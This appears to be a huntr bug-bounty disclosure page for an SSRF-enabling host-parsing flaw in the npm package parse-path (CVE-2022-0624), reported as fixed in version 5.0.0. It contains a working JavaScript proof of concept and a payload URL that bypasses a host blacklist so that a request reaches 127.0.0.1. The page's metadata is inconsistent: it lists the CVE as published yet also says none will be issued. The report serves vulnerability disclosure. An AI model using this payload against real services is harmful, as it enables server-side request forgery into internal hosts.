huntr

Authorization Bypass Through User-Controlled Key in ionicabizau/parse-path

0

✓ Valid Reported on Feb 14th 2022

Description

`parse-path` is unable to detect the right `resource` . While parsing `http://127.0.0.1#@example.com` url, `parse-path` thinks that the host/resource is `example.com` , however the actual resource is `127.0.0.1` .

Proof of Concept

SSRF PoC

```
const parsePath = require("parse-path");
const axios = require('axios');

var PAYLOAD = "http://127.0.0.1#@example.com";

parsedData = parsePath(PAYLOAD);

// Blacklist few domains
if (parsedData.resource !== '127.0.0.1') {

  console.log("BYPASSED...");

  axios.get(PAYLOAD).then(function (resp) {
    console.log("Sent the request to " + resp.request._currentUrl);
  })
  .catch(function (error) {
    console.log("Sent the request to " + error.request._currentUrl);
  });

}
```

OUTPUT:

```
BYPASSED...
Sent the request to http://127.0.0.1/
```

Impact

An attacker can bypass the host-validation checks which can lead to SSRF, open redirect and other similar vulnerabilities. The above PoC bypass SSRF checks as axios will load `127.0.0.1` rather than `example.com`

Occurrences

JS index.js L27-L133

CVE
CVE-2022-0624
(Published)

Vulnerability Type
CWE-639: Authorization Bypass Through User-Controlled Key

Severity
Medium (6.5)

Visibility
Public

Status
Fixed

Found by

Rohan Sharma
@r0hansh
unranked

Fixed by

Ionică Bizău (Johnny B.)
@ionicabizau

unranked

This report was seen 800 times.

We are processing your report and will contact the **ionicabizau/parse-path** team within 24 hours. 9 months ago

We have contacted a member of the **ionicabizau/parse-path** team and are waiting to hear back 9 months ago

Ionică Bizău (Johnny B.) validated this vulnerability 9 months ago

Rohan Sharma has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

We have sent a fix follow up to the **ionicabizau/parse-path** team. We will try again in 7 days. 9 months ago

We have sent a second fix follow up to the **ionicabizau/parse-path** team. We will try again in 10 days. 9 months ago

We have sent a third and final fix follow up to the **ionicabizau/parse-path** team. This report is now considered stale. 9 months ago

Ionică Bizău (Johnny B.) marked this as fixed in **5.0.0** with commit **f9ad88** 5 months ago

Ionică Bizău (Johnny B.) has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

index.js#L27-L133 has been validated ✓

Sign in to join this conversation

Chat with us

2022 © 418sec